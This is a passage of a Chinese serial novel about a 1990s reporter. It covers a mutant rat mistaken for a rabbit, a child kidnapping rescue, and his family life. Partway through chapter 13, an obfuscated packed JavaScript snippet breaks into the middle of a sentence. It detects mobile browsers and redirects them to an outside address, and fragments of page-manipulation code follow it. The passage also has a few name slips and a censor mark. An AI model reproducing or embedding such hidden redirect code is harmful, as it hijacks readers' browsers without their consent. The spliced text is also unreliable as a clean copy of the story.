叶葆启放下电话,笑了。这一次,笑容是从心底漾出来的。 错误不可怕,可怕的是把错误砌成墙,把自己关在里面。真相不可怕,可怕的是不敢揭开蒙在真相上的那层布。 这是他从连体青蛙事件里学到的。 也是他往后几十年记者生涯里,最常想起的一课。 窗外,知了还在不知疲倦地嘶鸣。夏天还很长,故事才刚刚开始。 他会继续走下去,带着这次的经验,带着这份谦卑,带着对世界永远的好奇与敬畏。 因为前方还有无数真相等待发现,等待记录,等待理解。 虽然可能还会犯错,但没关系。 只要心是正的,只要血还是热的,只要永远保持学习和反思的能力。 就能一直走下去。 走到下一个故事,下一个夏天,下一个让人哭笑不得又温暖如初的瞬间。 这就是记者。 这就是人生。 在荒诞与真实交织的迷雾里,用一支笔,一颗心,摸索着向前走。 直到所有谜底都揭开。 或者,直到不再需要谜底。 13. 第013章 兔子变耗子 九月的内海,天被一只无形的手往上提了三尺,云絮薄得像旧棉袄里掏出的丝瓤子。河水退了,露出黑黢黢的堤岸,那颜色像是被夏天这个醉汉吐了一身,又经太阳烘烤成了痂。风是凉的,滑过脸颊时让人想起母亲年轻时那件唯一的绸衫——她总在走亲戚时才舍得穿上。 槐树的叶子开始往下掉,却不是一片片地落,而是打着旋儿,仿佛地下有看不见的嘴在吹气。叶子铺了满地,踩上去的沙沙声里,能听见夏天咽下最后一口气的叹息。 叶葆启值白班。办公室的窗户开着半扇,秋风灌进来,带着干草和陈年谷仓的气味。桌上那叠稿纸被风掀动,纸角微微颤动,像一只试图起飞的白鸟的翅膀。 上午十点钟光景,门卫张大爷的布鞋底摩擦水泥地的声音由远及近,那声音黏糊糊的,仿佛鞋底沾着隔夜的粥。他身后跟着个女人,五十来岁,圆脸涨得通红,手里拎着个铁丝笼子,手指关节因用力而发白。 “叶记者,稀罕物!”张大爷的嗓门总是比人先到三步。 女人把笼子往桌上一墩,铁笼与木头碰撞的闷响惊起了窗外槐树上的两只麻雀。“记者同志,你们瞧瞧!长尾巴的兔子!我活了大半辈子头回见!” 叶葆启凑近。笼子里果然蹲着一团灰褐色的活物,毛茸茸的,耳朵支棱着,确乎是兔子的轮廓。可那尾巴——那尾巴粗得像耗子尾巴,却又长出一截,毛稀疏疏的,能看见底下粉红色的皮,尾尖还神经质地微微抽搐。 曹东方的影子盖了过来:“兔子尾巴短,这……这怕是耗子成了精?” “胡吣!”女人急得唾沫星子飞出来,在阳光里像细小的钻石,“耗子能长这么大?你瞅这耳朵,这脸盘子,明明是兔仙下凡!” 叶葆启仔细端详。这玩意儿体长将近一尺,比新生婴儿还壮实些。脸确是兔子的轮廓,可那嘴吻又尖了些,胡须像春日的麦芒,硬撅撅地支棱着。最诡异的是它的眼睛,不是兔子温顺的圆眼,而是两颗黑豆般的小点,深不见底。 “您贵姓?”叶葆启摸出笔记本,钢笔在纸上戳了个蓝点。 “牛,牛佳佳。”女人抹了把额头的汗,“新山公园扫地的,早上在狗尾巴草丛里看见的,蹦得那叫一个欢实,我追了半条街,鞋都跑掉一只。” 叶葆启记下,字迹工整得像用尺子量过。“牛大姐,这东西得请专家掌眼。您先回,有信儿我通知您。” “可得好好写!”牛佳佳的手在空中比划着,仿佛在给无形的文章加着重号,“这是祥瑞!祥瑞啊!” 她走了,留下笼子和一股子汗味混合着草腥的气息。笼子里的动物开始磨牙,那声音细碎而密集,像春蚕在啃食桑叶。 消息像滴入清水中的墨,迅速洇开了。保卫科老王来了,带着一身烟味;收发室小李来了,手指上还沾着糨糊;做卫生的赵大姐扒着门框探进半个身子——跟上回看蝎子精时一个姿势。 “老天爷,”老王咂着嘴,那声音湿漉漉的,“这玩意儿不伦不类,怕是遭了天谴。” “许是新物种。”小李的眼睛在镜片后发光,“该叫‘兔鼠’还是‘鼠兔’?” 赵大姐的声调陡然拔高:“辐射!准是辐射!新山公园后头那化工厂,黑烟冒得跟妖风似的!” 笼子里的动物突然立起来,前爪扒着铁丝,发出“吱——”的一声长鸣。那声音尖锐得能刺破耳膜,分明是耗子的叫声,却裹着兔子的腔调。 十一点钟,吴研究员来了。老人背着个褪色的绿帆布标本箱,箱子上有深褐色的斑点,不知是血渍还是药水。他的眼镜厚得像酒瓶底,看人时要微微仰头,仿佛不是在用眼睛看,而是在用眼镜“嗅”。 众人自动让开一条道。吴研究员接过笼子,举到窗前,阳光透过笼子在地上投出菱形的光斑。他看了足足五分钟,呼吸声越来越重,喉结上下滑动,像咽下了什么难以下咽的东西。 “不是兔子。”他终于开口,声音干得像晒了三天的豆秸。 “那是……” “褐家鼠。变异个体。”吴研究员放下笼子,动作轻得像放下一枚鸡蛋,“通俗讲,成了精的大耗子。” 电扇的嗡嗡声突然变得震耳欲聋。 曹东方的嘴张了又合,像离水的鱼。“耗子……能长这么大?” “正常不过二十厘米,这只三十厘米有余。”吴研究员的手指隔空点着笼子,“看门齿,典型的啮齿类;看尾巴,裸露,有环状鳞片;耳朵虽大,软骨结构仍是鼠类。” 叶葆启凑近了看。在吴研究员枯树枝般的手指指引下,那动物的兔性在消退,鼠性在浮现:嘴唇嚅动时露出的黄板牙,眼中那点幽暗的光,还有浑身散发出的、阴沟深处才有的土腥气。 “可它为何……”叶葆启的话说了一半。 “基因错乱,或环境所迫。”吴研究员摘下眼镜擦拭,“这样的个体通常短命,五脏六腑撑不起这副身架。你看,它已经开始喘了。” 笼中的生物果然瘫软了,肚皮剧烈起伏,像只破风箱。 吴研究员提着笼子走了。屋里的人愣怔着,仿佛刚看完一场戏,却发现主角根本没登场。 老王先叹了口气:“空欢喜。” 曹东方挠挠头:“至少……长了见识。” 叶葆启没说话。他想起牛佳佳奔跑时掉落的鞋,想起她说“追了半条街”时眼里闪着的光。那光现在大约已经灭了,像被风吹熄的蜡烛。 电话打到新山公园管理处。接电话的男人声音懒洋洋的,像刚睡醒。牛佳佳被叫来了,脚步声在电话里咚咚响,像敲着一面小鼓。 “叶记者?”她的声音里有压不住的期待,像锅盖下沸腾的水汽,“是仙兔不是?” 叶葆启握紧了话筒,塑料外壳被捂得温热。“李大姐,专家鉴定过了,是……褐家鼠变异。” 电话那头传来漫长的沉默。叶葆启能想象出那张圆脸如何一点点垮掉,眼里的光如何一寸寸暗下去。他忽然想起父亲去世那天,母亲也是这样握着电话,听完消息后久久没有声音,只有电流在耳边咝咝作响。 “耗子?”牛佳佳终于开口,两个字像从牙缝里挤出来的,“我捧回来的……是个耗子精?” “是很大、很罕见的个体。” “我……我还供了它半天……”牛佳佳的声音开始发抖,接着爆发出哭声。那哭声粗粝嘶哑,像用砂纸打磨木头,“我跟老头子说,咱家要转运了……我真是……真是老糊涂了哇……” 叶葆启感到胸口发闷。“牛大姐,您别这么说。专家很重视,要拿回去研究,做标本。您这是立功了。” “真……真的?” “千真万确。”叶葆启听见自己的声音异常坚定,“博物馆会收藏的。” 挂了电话,手心全是汗。他走到窗前,看见吴研究员正骑着自行车出大门,车把上挂着那只笼子,在阳光下晃啊晃,像一颗摇晃的头颅。 下午写稿时,钢笔尖在纸上划出沙沙的声响。他写牛佳佳如何在晨雾中发现异象,写那动物如何介于虚实之间,写科学的解剖刀如何剥开幻象。最后他写道:“真相有时是苦药,但裹上善意的糖衣,便能疗愈幻灭的伤。” 陈秉烛审稿时,老花镜滑到鼻尖。他看完,抬眼看了叶葆启很久。“葆启,你学会了最重要的东西。” “什么?” “仁慈。”陈秉烛的手指敲了敲稿纸,“记者笔下有刀,可以杀人,也可以救人。” 下班时,秋日的夕阳把整条街染成橘红色,像一大锅熬得过火的糖浆。胡同里的炊烟升起来,在半空中纠缠不清,最后都化进渐浓的暮色里。 素琴在择韭菜,翠绿的叶子在她手中翻飞,像在编织什么。“今天又收着什么宝贝了?” 叶葆启把“兔鼠之变”说了。素琴噗嗤笑出声,笑声清亮如铜铃:“你们那儿该挂块匾——‘内海奇物收容所’。” “哪天要是收着条龙,我就辞职开动物园。” 小舟放学回来,书包甩得像流星锤。“爸!妈!我回来了!”话音未落就要往外冲。 “站住。”叶葆启的声音不高,却像根绳子绊住了他的脚。 小舟缩着脖子转回来,眼睛却还瞟着门外。 “规矩。”叶葆启只说两个字。 孩子噘着嘴进屋了,脚步声咚咚响,带着抗议的节奏。素琴摇头:“这小崽子,魂都让外头的野地勾去了。” 晚饭时,小舟扒拉着米饭,碗沿磕得叮当响。叶葆启夹了块红烧肉放进他碗里:“今天有件稀奇事。” 小舟耳朵竖了起来。 “有人抓了只兔子,尾巴却像耗子那么长。” “后来呢?”饭粒粘在嘴角。 “后来发现,它真是耗子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904165|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小舟张大了嘴,露出缺了一颗的门牙。“耗子能装兔子?” “能。”叶葆启说,“装得还挺像,把大人都骗了。” “那它为啥要装?” 这个问题让叶葆启愣住了。他想了想,说:“也许它自己也不知道自己是什么,既不像耗子,也不像兔子,只好在中间悬着。” 小舟似懂非懂地点点头,忽然问:“那个抓它的人,是不是哭了?” “你怎么知道?” “因为我上次把青蛙当成□□,也哭了。” 夜里,叶葆启躺在床上睡不着。月光从窗棂挤进来,在地上铺出一片菱形的银白。他想起牛佳佳的哭声,那哭声里有某种古老的东西——人类对奇迹的渴望,以及奇迹破灭后的荒凉。 素琴翻了个身,手臂搭在他胸口,温热的。“想什么呢?” “想那只不兔不鼠的东西。”叶葆启望着房梁上模糊的阴影,“它知道自己是什么吗?” “它不知道。”素琴的声音带着睡意,“但它知道自己活着,这就够了。” 第二天稿子见报时,叶葆启特意去买了份油墨未干的报纸。二版右上角,吴研究员枯瘦的手正指着笼子,那动物在照片上缩成一团模糊的灰影。 他打电话到公园管理处,接电话的还是那个懒洋洋的男声:“牛佳佳?今儿没来,说身子不舒坦。” 叶葆启心里咯噔一下。他骑上自行车,车筐里装着两份报纸和三斤秋梨。新山公园在城西,要穿过大半个内海。车轮轧过落叶,发出脆响,像在咀嚼秋天。 公园后的平房区弥漫着煤烟和白菜炖粉条的气味。三排五号的门虚掩着,从门缝里能看见牛佳佳坐在床沿上,背影像一尊风化了的石像。 敲门声惊动了她。开门时,她眼睛肿得像桃子,看见叶葆启,那肿胀的眼睛里闪过一丝光亮,随即又暗淡下去。 “叶记者……您这是……” “送报纸。”叶葆启举起梨,“还有这个,润润嗓子。” 牛佳佳的眼泪毫无预兆地滚下来。她接过报纸,手指颤抖着抚摸那篇报道,像在抚摸婴儿的脸。“还……还登出来了……” “您看这儿,”叶葆启指着那段关于“热心市民”的描述,“专家说了,这样的样本十年难遇。” “可它终归是……是耗子啊。”牛佳佳的眼泪滴在报纸上,油墨洇开一小片蓝。 “是什么不重要。”叶葆启听见自己的声音异常柔和,“重要的是,您看见了别人没看见的,追了别人没追的。这份心,比什么都珍贵。” 牛佳佳抬起泪眼看他,看了很久,忽然深深鞠了一躬。“叶记者,您这话……这话让我又能做人了。” 回去的路上起了风,落叶在脚下打着旋儿,像无数金色的陀螺。叶葆启剥了颗牛佳佳塞给他的花生,花生壳在嘴里裂开的声音清脆悦耳。 快到胡同时,他看见小舟正在槐树下和几个孩子玩弹珠。孩子看见他,飞奔过来,汗湿的额头在夕阳下闪光。 “爸!我们老师说,你那篇报道写得好!” “老师怎么说的?” “说记者要有悲悯心。”小舟仰着脸,瞳孔里映着天空最后的霞光,“悲悯心是啥?” 叶葆启想了想,摸摸他的头:“就是看见别人哭,自己鼻子也会酸。” 那夜,叶葆启梦见那只不兔不鼠的动物。在梦里,它长得像座小山,尾巴变成了一条路,无数人在那条路上行走,有的人走出了兔子的轻盈,有的人走出了耗子的警觉。而他自己站在路中间,手里拿着笔记本,记录着每一个经过的身影。 醒来时天还没亮,素琴均匀的呼吸声在耳边起伏。他轻轻起身,走到院中。 东方的天际刚露出一线鱼肚白。晨风吹过,带来远方早班火车的汽笛声,那声音悠长而苍凉,像一声穿越时空的叹息。 叶葆启深吸一口气,秋天的空气清冽如井水。他忽然明白,这份工作最珍贵的不是记录奇迹,而是在没有奇迹的地方,看见凡人身上那点微弱却倔强的光。 就像牛佳佳追捕“仙兔”时跑掉的鞋。 就像小舟缺了门牙却依然灿烂的笑。 就像此刻,第一缕晨光照在槐树叶上,那上面昨夜凝结的露珠,正闪烁着钻石般的光芒。 虽然短暂。 却足够照亮又一个平凡的日子。 14. 第014章 绑架惊魂夜 十月,内海的风硬了,像钝刀子刮过河面,掀起一层层细密的波纹,那是岁月在老人额头上刻下的另一种皱纹。法桐叶子黄了,红了,在风里打着旋儿往下落,像断翅的蝴蝶,铺满了人行道。踩上去咔嚓咔嚓响,那声音脆得让人心慌,仿佛踩碎了某种看不见的骨头。 十月八日,晚上九点。叶葆启值夜班,和孙荣显搭档。编辑部的灯是旧式的,钨丝在玻璃罩子里蜷缩着,发出黄澄澄的光,照得人脸上浮起一层暖洋洋的假象。炉子还没生,但煤块已经备好了,摞在墙角,黑黝黝的,在阴影里蹲伏着,像一群沉默的巨兽,等待着被点燃的宿命。 电话响了。那铃声尖利,划破了室内的沉寂。孙荣显接起来,听了两句,脸色变了——那不是一般的变,是血色从脸上退潮般撤去,露出底下青灰色的底子。 “葆启,”他捂住话筒,声音压得像从地缝里挤出来的,“绑架案。” 叶葆启心里一紧,那感觉很奇怪,不是“咚”的一声,而是胃里突然沉了一下,仿佛吞下了一块凉铁:“哪儿的?” “海东区,一个八岁男孩,放学路上被绑了。”孙荣显的声音发干,舌头舔了舔嘴唇,“家属刚报案,派出所来电话,问我们要不要跟。” “跟!”叶葆启站起来,椅子腿在水泥地上刮出刺耳的声响,“我去叫摄影部。” 他打电话。听筒里传来嘟嘟声,每一声都拖得很长。摄影部已经下班了,在家,但听说有绑架案,立刻说:“我马上来!”那声音里有一种猎犬嗅到气味的兴奋,还有深藏的不安。 二十分钟后,摄影部记者背着相机包来了,还带了件防弹背心——上回拍化工厂爆炸现场时发的,一直没还。背心是军绿色的,帆布面已经洗得发白,摸上去粗粝得像砂纸。 “走吧。”摄影部记者说,眼睛在灯光下闪着光,“车在楼下。” 叶葆启穿上外套,想了想,把桌上那本采访本塞进包里。本子的边角已经磨损,纸页泛黄,像一块风干的腊肉。孙荣显留下值班,他和摄影部记者下楼。楼梯间的感应灯坏了,他们踩在黑暗中,脚步声在空荡荡的楼道里回响,像有另一个人跟在后面。 报社的吉普车已经发动了,老赵在车上等着,烟头的红点在驾驶室里明灭。三人上车,往海东区驶去。车窗摇下一半,夜风灌进来,带着河水的腥气和远处烧烤摊的烟火味。 夜里九点半,街上人还不少。电影院刚散场,人群涌出来,说说笑笑,女人们的高跟鞋敲打着水泥地,发出清脆的嗒嗒声。他们不知道,就在几条街外,一个孩子的命运正在黑暗中被称量。 海东区公安分局灯火通明,那光白得惨烈,把整栋楼照得像个透明的盒子。门口停着好几辆警车,红蓝警灯旋转着,光扫过墙面、树梢、行人的脸,一切都在瞬间变成警醒的红色或忧郁的蓝色,然后又沉入黑暗。那光刺得人眼花,叶葆启眯起眼睛,觉得视网膜上留下了永久的烙印。 他们下车,出示记者证。证件上的照片还是三年前的,那时的叶葆启头发更密,眼睛里还没有这些血丝。一个年轻民警领他们进去,那民警脸上长着青春痘,嘴角紧绷,努力做出严肃的样子,但手指在裤缝上无意识地敲打着。 会议室里坐满了人。烟雾缭绕,像清晨的河面起了雾。分局局长姓刘,四十多岁,国字脸,很威严,坐在主位,像一尊石像。刑警队长是个精瘦的男人,眼睛深陷,颧骨高耸。派出所所长在搓手,手掌摩擦的声音沙沙响。还有孩子的父母——一对中年夫妇,女的在哭,不是号啕,而是压抑的抽泣,肩膀一耸一耸,像有什么东西在里面挣扎。男的脸煞白,手在抖,想点烟,火柴划了三根都没着。 “记者来了。”刘局长开口,声音低沉,带着痰音,“坐吧,简单通报一下情况。” 叶葆启坐下,打开采访本。纸页翻动的声音在寂静中格外清晰。摄影部记者找了个角落,开始拍照——不打扰,但记录。相机快门的声音很轻,咔嚓,咔嚓,像时间在咬碎什么。 刘局长开始说:男孩叫张泽胜,八岁,实验小学三年级。下午四点放学,通常四点二十分到家。今天没回来。父母等到五点,开始找。问同学,说看见一个男人把小明带走了,上了一辆白色面包车。六点报案,七点确定被绑架——绑匪来电话了,要五万赎金,不准报警,否则撕票。 “绑匪什么特征?”叶葆启问。他的声音比自己想象的平静。 “男性,声音低沉,带点东北口音。”刑警队长说,“用公用电话打的,在海西区。我们已经派人去排查了。” “孩子照片有吗?” 孩子的父亲——张学明,颤抖着手递过一张照片。是学校照的,孩子穿着校服,戴着红领巾,笑得很甜,露出缺了一颗的门牙。照片边缘有指纹,汗渍的,油腻的,那是无数次的摩挲留下的痕迹。 叶葆启接过照片,心里一沉。八岁,跟小舟差不多大。小舟现在应该已经睡了,在温暖的被窝里,做着甜美的梦。而这个孩子,不知道在哪儿,不知道正经历着什么。他突然感到肋间一阵冰凉的抽搐,那是父亲的本能在恐惧。 “我们能做什么?”叶葆启问。 “跟着,记录,但别干扰。”刘局长说,“如果需要发通稿,我们会提供材料。现在最重要的是——保密,不能见报,不能走漏风声,否则孩子危险。” “明白。” 通报会结束。警方开始布控,技术组追踪电话,便衣开始摸排。叶葆启和摄影部记者被安排在会议室等待,有消息会通知他们。 等待是最煎熬的。墙上的钟是老式的圆盘钟,红色秒针一跳一跳,每一声滴答都像锤子敲在人心上。孩子的母亲还在哭,声音压抑着,从喉咙深处挤出来,像受伤的动物在呜咽。父亲握着她的手,不说话,只是握得很紧,指节都白了,皮肤绷得透明,能看见底下青色的血管。 叶葆启看着他们,想起了素琴和小舟。如果小舟被绑了……他不敢想。那种恐惧,那种无助,能让人疯掉。他摸出烟,点上,深吸一口,烟进了肺里,却没有带来平静。 十一点,技术组来消息:绑匪又来电话了,换了个公用电话,还在海西区。要求明天上午十点,把钱放在街心公园第三个垃圾桶里。 “他要的是现金?”叶葆启问。 “对,旧钞,不连号。”刑警队长说,“我们已经准备好了,做了标记。” “然后呢?” “然后等。看他取钱时抓人。”刘局长说,“但最理想的是,找到藏匿地点,先救孩子。” 凌晨一点,排查有了进展。有居民反映,看见一辆白色面包车停在某小区楼下,车里好像有孩子哭声。地址在海东区和海西区交界处,一片待拆迁的平房区。 “行动!”刘局长站起来,椅子在地面上刮出刺耳的声音,“便衣先摸过去,特警待命。” 叶葆启和摄影部记者也被允许跟随,但必须在安全距离外。两人穿上防弹背心——叶葆启第一次穿,那东西笨重,帆布面粗糙,插板硬邦邦的。他笨手笨脚,差点穿反。摄影部记者帮他整理好,低声说:“跟着我,别乱跑。”摄影部记者的手很稳,手指关节粗大,那是常年握相机磨出来的。 车队出发了。没有警笛,没有闪灯,像一群沉默的鱼,游进夜色里。车窗外的街景向后滑去,霓虹灯、路灯、偶尔走过的行人,都成了模糊的背景。 那个小区很偏,路灯昏暗,有的干脆不亮。路也坑坑洼洼,吉普车颠簸着,叶葆启的胃跟着上下翻腾。车停在远处,人步行靠近。叶葆启跟在摄影部记者后面,深一脚浅一脚,心跳得厉害,那声音在耳膜上咚咚敲打。 便衣已经就位,包围了那栋楼——一栋三层的老楼,墙皮剥落,露出底下红色的砖,像溃烂的伤口。窗户破了好几扇,用塑料布堵着,在风里呼啦啦响。三楼最西头的屋子亮着灯,昏黄的光从窗帘缝隙漏出来,隐约有人影晃动,像皮影戏。 特警也到了,黑色作战服,头盔,像一群夜行的豹子。他们悄无声息地散开,占据了有利位置。叶葆启看见一个特警蹲在墙角,调整着枪带,动作熟练得像在整理自己的手指。 时间一分一秒地过去。叶葆启蹲在墙角,能听见自己的心跳,咚咚咚,像打鼓。手里的采访本被汗浸湿了,字迹有些模糊,墨迹晕开,像流泪的眼睛。他闻到自己身上的汗味,还有防弹背心帆布的味道,那是尘土、汗水、还有某种金属的混合气味。 凌晨两点,行动开始。 没有口令,只是一个手势。特警破门而入,动作快得像闪电。叶葆启只听见“砰”一声闷响——不是巨响,而是沉重的、木头断裂的声音,接着是呵斥声,哭喊声,杂乱的脚步声。那些声音混在一起,像一场突如其来的暴雨。 “走!”摄影部记者拉了他一把。 两人冲进楼里。楼道很窄,堆满了杂物:破自行车、纸箱、蜂窝煤。上到三楼,门已经开了,歪斜地挂在合页上。屋里一片狼藉:一张破桌子倒了,暖水瓶碎了,水流了一地。一个男人被按在地上,脸贴着水泥地,铐着手铐,还在挣扎,喉咙里发出野兽般的低吼。角落里,一个孩子蜷缩着,身上裹着条脏毯子,瑟瑟发抖,像秋天最后一片挂在枝头的叶子。 “泽胜!”孩子的母亲冲进来,抱住孩子,放声大哭。那哭声终于释放了,撕心裂肺,像要把屋顶掀翻。 孩子好像吓傻了,不哭,不说话,只是睁大眼睛看着。那双眼睛极大,瞳孔黑得深不见底,里面映着晃动的光影,但没有任何内容,像两口枯井。 叶葆启站在门口,看着这一幕。摄影部记者在拍照,闪光灯啪啪地闪,每闪一次,世界就在瞬间变成黑白,然后沉回昏暗。光一次次照亮每一张脸:警察坚毅的脸,汗珠在额头上闪光;绑匪扭曲的脸,嘴角有血沫;母亲泪流满面的脸,泪水在闪光灯下变成银色的河流;孩子茫然的脸,像一张空白的纸。 他举起采访本,想记录,但手抖得厉害,写不出一个字。笔在纸上滑动,只留下歪歪扭扭的曲线,像垂死者的心电图。 后来是怎么下楼的,怎么上车的,他都记不清了。只记得回到分局时,天已经蒙蒙亮了。东方的天空泛起鱼肚白,然后是淡淡的橘红,像伤口结痂的颜色。孩子的父母在办手续,孩子被一个年轻女民警抱着,喂了热水。孩子终于哭出来了,不是大哭,而是细弱的、断断续续的啜泣,像刚出生的小猫。那哭声撕扯着每个人的心。 刘局长走过来,拍拍叶葆启的肩:“叶记者,辛苦了。”局长的手很重,拍在肩上,能感觉到掌心的老茧。 “孩子……没事吧?” “身体没大碍,就是吓着了。”刘局长说,“绑匪是个赌徒,欠了高利贷,狗急跳墙。已经审了,就一个人,没同伙。” 叶葆启松了口气。这时他才发现,防弹背心穿反了——硬邦邦的插板硌着胸口,怪不得一直不舒服。他想笑,却笑不出来。 摄影部记者看见了,笑:“葆启,你这背心穿的,真打起仗来,子弹从后面来怎么办?” 叶葆启也笑了,笑着笑着,眼睛湿了。他抹了把脸,手背上都是灰,混着泪水,成了泥。 回到报社,已经早晨七点。孙荣显还在值班,见他们回来,赶紧问:“怎么样?”他的眼睛里布满血丝,像地图上纵横的河流。 “孩子救出来了,绑匪抓了。”叶葆启瘫在椅子上,身体像掏空了的麻袋,“我得写稿。” “先睡会儿吧,眼睛都红了。” “不,现在就写。”叶葆启打开稿纸,铺在桌上。纸是报社专用的稿纸,淡绿色格子,像囚禁思想的牢笼。“这事得让市民知道,知道警察的辛苦,知道孩子的无辜。” 他写得很慢,很认真。钢笔在纸上沙沙响,像春蚕食叶。他写绑匪的凶残,写父母的煎熬,写警察的果断,写最后团聚的泪水。没有渲染,没有煽情,只是平实地记录,但每一个字都沉甸甸的,蘸着夜露和冷汗。 写完,已经上午九点。阳光从窗户斜射进来,照在稿纸上,墨迹未干,闪着幽微的光。他趴在桌上,睡着了。 醒来时是下午两点。脖子僵硬,胳膊麻木。稿子已经送审了,陈秉烛批了“发”,两个红字力透纸背。叶葆启看看表,该回家了。 骑车回家的路上,阳光很好,照在身上暖洋洋的。街上人来人往,一切如常。卖煎饼果子的摊前排着队,铲子刮在铁板上的声音刺啦刺啦响。孩子们在追逐嬉戏,笑声清脆。老人们坐在路边晒太阳,闭着眼睛,脸上的皱纹在光里舒展。 没有人知道,昨夜发生过什么。没有人知道,一个孩子差点回不了家,一对父母差点失去灵魂。 但这就是生活。表面平静,底下暗流涌动。而记者,就是潜入水底的人,把那些暗流记录下来,带到光天化日之下,让它们蒸发,或者结晶。 回到家,素琴正在洗衣服。大盆里堆着衣服,她挽着袖子,胳膊被冷水激得通红。见他回来,吓了一跳:“你脸色怎么这么差?”她的声音里有真切的惊慌。 “昨晚没睡,跟了个绑架案。” 素琴手里的衣服掉盆里了,溅起水花:“绑架案?你……你没受伤吧?”她的眼睛睁大,瞳孔收缩,那是母亲和妻子本能的恐惧。 “没有,就是跟着,没上前。”叶葆启把事简单说了。说的时候,他发现自己省略了很多细节:穿反的防弹背心,孩子空茫的眼睛,母亲撕心裂肺的哭声。有些东西,无法用语言承载。 素 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“爸爸,你怎么了?”小舟看出他走神,眼睛眨巴着,长长的睫毛像小刷子。 “没事。”叶葆启摸摸他的头,头发柔软,带着孩童特有的温度,“爸爸就是觉得,你能这么开心,真好。” “我每天都开心!”小舟说,然后皱了皱鼻子,“除了写作业的时候。” 叶葆启笑了,笑着笑着,抱住了儿子,抱得很紧。他能感觉到儿子小小的心跳,急促的,有力的,像一颗刚刚启程的引擎。那是生命最原初的节奏。 “爸爸,你勒疼我了。” 叶葆启松开手,但眼睛湿了。他转过头,假装看天上的云。云很白,很软,像棉絮,慢悠悠地飘着,对人间的一切毫不知情。 晚饭时,他给小舟夹了很多菜,堆了满满一碗。红烧肉、炒青菜、煎鸡蛋,油光闪闪。小舟抗议:“爸爸,我吃不了这么多!” “多吃点,长身体。” “那你也多吃点。”小舟给他夹了块肉,肉颤巍巍的,酱汁滴在桌上,“爸爸,你昨晚抓坏人,辛苦了。” 叶葆启鼻子一酸:“爸爸没抓坏人,是警察叔叔抓的。” “那你也是英雄。”小舟很坚持,小脸严肃,“你是记者英雄。” 叶葆启笑了,笑着笑着,眼泪掉进了碗里。泪水是咸的,混着饭菜的滋味,成了生活复杂的味道。 素琴看见了,没说话,只是给他盛了碗汤。汤很烫,热气腾腾,模糊了她的脸。 夜里,叶葆启躺在床上,怎么也睡不着。一闭眼,就是张泽胜那双惊恐的眼睛,空茫的,深不见底的;就是绑匪扭曲的脸,嘴角的血沫;就是防弹背心穿反的滑稽,那滑稽底下是冰冷的恐惧;就是孩子母亲撕心裂肺的哭声,那哭声钻进骨头缝里,在里面生了根。 他起身,光脚下地。水泥地很凉,凉意从脚底直窜上来。他拿出采访本,翻到最后一页,写日记。钢笔在纸上沙沙响,在寂静的夜里,那声音像某种小动物在啃食时间: “1995年10月9日。绑架案惊魂夜。第一次穿防弹背心,穿反了,闹笑话。但笑不出来,那笑卡在喉咙里,成了硬块。 那个孩子,张泽胜,八岁,跟小舟一样大。他被救出来时,眼神是空的,像灵魂被抽走了,只剩下一具轻飘飘的壳。我不知道他以后会怎样,会不会每个夜晚都在噩梦中惊醒,会不会不敢走那条放学路,会不会在多年后的某个黄昏,突然想起这个夜晚,然后浑身颤抖。 他母亲抱着他哭,那种哭法,不是哭,是把内脏都掏出来的嚎叫。我当了父亲后,才懂那种恐惧——孩子是你的命,是你在这个世界上留下的最深的印记。丢了孩子,就等于丢了命,丢了活下去的全部理由。 警察很英勇,破门,抓捕,一气呵成。但最让我震撼的,是一个细节:一个年轻女警,可能还没结婚,抱着孩子,轻轻地拍,轻轻地哼歌,哼的是《摇篮曲》。孩子在她怀里,慢慢闭上了眼睛,睡着了。那一刻,她脸上有一种圣洁的光,那是人性在最黑暗时刻发出的微光。 这就是世界吧。有绑匪扭曲的脸,也有女警温柔的手;有孩子空洞的眼神,也有母亲不肯放弃的怀抱。黑暗和光明交织,像经纬线,织成了这块叫‘人间’的布。 写稿时,手在抖。不是怕,是沉重。记者的笔,有时候很轻,写风花雪月,写市井趣闻;有时候很重,要蘸着血和泪,蘸着深夜的冷汗和黎明的曙光。 但再重也得写。因为不写,人们就不知道这世界有多残酷,也不知道这世界有多温暖。不知道在平静的夜晚,有多少惊心动魄在上演;不知道在绝望的深渊,有多少双手在伸出来。 陈主任说过:好新闻是用命换来的。昨晚我没用到命,但用到了心。心在胸膛里跳了一整夜,跳得那么急,那么慌,像要挣脱肋骨飞出去。 心比命更珍贵。因为命只有一条,而心可以碎无数次,但每次碎了,还能拼凑起来,继续跳动,继续感受,继续爱和痛。” 写完,他合上本子。牛皮封面很硬,边缘磨损了,露出底下粗糙的纤维。他看向窗外,月亮很圆,很亮,像一面银盘,静静地挂在夜空里。月光洒进来,在地上铺了一层霜。他想起小时候听老人说,月亮是夜晚的伤口,流淌出银色的血,照亮人间。 明天,稿子会见报。油墨印在纸上,文字变成铅字,有了重量和实体。市民会知道,昨夜发生过这样一件事。他们会边吃早餐边看报,会感慨,会讨论,会说“太可怕了”或者“警察真厉害”,然后继续自己的生活,上班,下班,买菜,做饭。 但至少,有一个孩子回家了。至少,有一对父母不用再哭泣。至少,在这个夜晚,这座城市里,罪恶被制止,善良得到了回响。 这就是意义。微小的,但真实的意义。像暗夜里的一点萤火,虽然微弱,但毕竟亮着。 叶葆启躺下,闭上了眼睛。身体很累,每个关节都在酸痛。但心里有一种奇异的平静,像暴风雨后的海面,虽然还留着波浪的余痕,但已归于深沉。 这次,他睡着了。睡得很沉,没有梦。 因为知道,在这个夜晚,这座城市里,又多了一个平安的孩子,又多了一个团圆的家庭。又多了一段可以被讲述的故事,又多了一份可以被记忆的温暖。 而他,记录下了这一切。用颤抖的手,用浸汗的采访本,用一颗父亲的心,用记者的眼睛和笔。 这就是记者的使命。在深渊边缘行走,把看见的黑暗和光明都带回来,呈现给人间。 虽然沉重,但值得。 15. 第015章 冬月 雪粒与伤痕 十一月,内海被一场早来的雪笼罩。那雪下得细密,并非柔软的雪花,而是坚硬的雪粒,簌簌地落向城市。风一吹,便横着飞溅,打在脸上沙沙作响。一夜之间,四处覆上了一层僵硬的白。 